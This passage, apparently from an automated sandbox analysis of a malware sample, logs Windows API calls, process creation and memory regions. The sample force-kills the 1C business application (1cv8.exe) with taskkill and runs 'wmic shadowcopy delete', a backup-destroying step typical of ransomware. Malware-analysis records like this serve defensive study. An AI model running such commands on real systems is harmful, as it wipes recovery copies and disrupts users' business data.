lpFindFileData=0x39ed64) returned 0xffffffff [0046.393] GetLastError () returned 0x2 [0046.394] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x39ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed64) returned 0x6b6108 [0046.394] FindClose (in: hFindFile=0x6b6108 | out: hFindFile=0x6b6108) returned 1 [0046.394] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0046.394] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0046.394] GetConsoleTitleW (in: lpConsoleTitle=0x39f25c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.394] InitializeProcThreadAttributeList (in: lpAttributeList=0x39f0e4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39f1ac | out: lpAttributeList=0x39f0e4, lpSize=0x39f1ac) returned 1 [0046.394] UpdateProcThreadAttribute (in: lpAttributeList=0x39f0e4, dwFlags=0x0, Attribute=0x60001, lpValue=0x39f1a4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39f0e4, lpPreviousValue=0x0) returned 1 [0046.394] GetStartupInfoW (in: lpStartupInfo=0x39f0a0 | out: lpStartupInfo=0x39f0a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x6a19c8, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0046.394] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.395] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.395] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.397] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 1cv8.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39f140*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 1cv8.exe /T /F", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39f18c | out: lpCommandLine="taskkill /im 1cv8.exe /T /F", lpProcessInformation=0x39f18c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x80c, dwThreadId=0x808)) returned 1 [0046.402] CloseHandle (hObject=0x78) returned 1 [0046.402] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0046.402] GetEnvironmentStringsW () returned 0x6b4dc8* [0046.402] FreeEnvironmentStringsW (penv=0x6b4dc8) returned 1 [0046.402] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0046.683] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x39f080 | out: lpExitCode=0x39f080*=0x80) returned 1 [0046.683] CloseHandle (hObject=0x7c) returned 1 [0046.684] _vsnwprintf (in: _Buffer=0x39f1c8, _BufferCount=0x13, _Format="%08X", _ArgList=0x39f08c | out: _Buffer="00000080") returned 8 [0046.684] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0046.684] GetEnvironmentStringsW () returned 0x6b2b28* [0046.684] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.684] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0046.684] GetEnvironmentStringsW () returned 0x6b2b28* [0046.684] FreeEnvironmentStringsW (penv=0x6b2b28) returned 1 [0046.684] DeleteProcThreadAttributeList (in: lpAttributeList=0x39f0e4 | out: lpAttributeList=0x39f0e4) [0046.684] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.684] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.684] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.684] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2941ac | out: lpMode=0x4a2941ac) returned 1 [0046.684] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.684] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2941b0 | out: lpMode=0x4a2941b0) returned 1 [0046.685] SetConsoleInputExeNameW () returned 0x1 [0046.685] GetConsoleOutputCP () returned 0x1b5 [0046.685] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a294260 | out: lpCPInfo=0x4a294260) returned 1 [0046.685] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.685] exit (_Code=128) Process: id = "35" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x48b81000" os_pid = "0x80c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x704" cmd_line = "taskkill /im 1cv8.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2242 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2243 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2244 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2245 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2246 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2247 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2248 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2249 start_va = 0x870000 end_va = 0x885fff entry_point = 0x870000 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2250 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2251 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2252 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2253 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2254 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2255 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2256 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2257 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2258 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2259 start_va = 0x2f0000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2260 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2261 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2262 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2263 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2264 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2265 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2266 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2267 start_va = 0x4d0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 2268 start_va = 0x74fc0000 end_va = 0x750aafff entry_point = 0x74fc0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2269 start_va = 0x751a0000 end_va = 0x751b8fff entry_point = 0x751a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2270 start_va = 0x751c0000 end_va = 0x751d0fff entry_point = 0x751c0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2271 start_va = 0x751e0000 end_va = 0x751eefff entry_point = 0x751e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2272 start_va = 0x751f0000 end_va = 0x751f8fff entry_point = 0x751f0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2273 start_va = 0x75200000 end_va = 0x75234fff entry_point = 0x75200000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2274 start_va = 0x75240000 end_va = 0x75247fff entry_point = 0x75240000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2275 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2276 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2277 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2278 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2279 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2280 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2281 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2282 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2283 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2284 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2285 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2286 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2287 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2288 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2289 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2290 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2291 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2292 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2293 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2294 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2295 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2296 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2297 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2298 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2299 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2300 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2301 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2302 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2303 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2304 start_va = 0x130000 end_va = 0x133fff entry_point = 0x130000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2305 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2306 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2307 start_va = 0x1a0000 end_va = 0x25ffff entry_point = 0x1a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2308 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2309 start_va = 0x3d0000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2310 start_va = 0x7a0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 2311 start_va = 0x890000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2312 start_va = 0xa20000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 2313 start_va = 0x1f80000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2314 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2315 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2316 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2317 start_va = 0x75130000 end_va = 0x7518bfff entry_point = 0x75130000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2318 start_va = 0x75190000 end_va = 0x75199fff entry_point = 0x75190000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2319 start_va = 0x1e20000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2320 start_va = 0x2140000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2321 start_va = 0x75100000 end_va = 0x75128fff entry_point = 0x75100000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2322 start_va = 0x2020000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2323 start_va = 0x2090000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 2324 start_va = 0x2180000 end_va = 0x244efff entry_point = 0x2180000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2325 start_va = 0x750e0000 end_va = 0x750f5fff entry_point = 0x750e0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2326 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2327 start_va = 0x74f80000 end_va = 0x74fbafff entry_point = 0x74f80000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2328 start_va = 0x750d0000 end_va = 0x750ddfff entry_point = 0x750d0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2329 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2330 start_va = 0x1f40000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2331 start_va = 0x1fe0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2332 start_va = 0x2470000 end_va = 0x24affff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 2333 start_va = 0x750c0000 end_va = 0x750cefff entry_point = 0x750c0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2334 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2335 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2336 start_va = 0x74ec0000 end_va = 0x74ed7fff entry_point = 0x74ec0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2337 start_va = 0x74ee0000 end_va = 0x74f75fff entry_point = 0x74ee0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2338 start_va = 0x74ea0000 end_va = 0x74eb6fff entry_point = 0x74ea0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Thread: id = 93 os_tid = 0x808 Thread: id = 94 os_tid = 0x804 Thread: id = 95 os_tid = 0x274 Thread: id = 96 os_tid = 0x4e4 Thread: id = 97 os_tid = 0x4f8 Process: id = "36" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x49aeb000" os_pid = "0x83c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2339 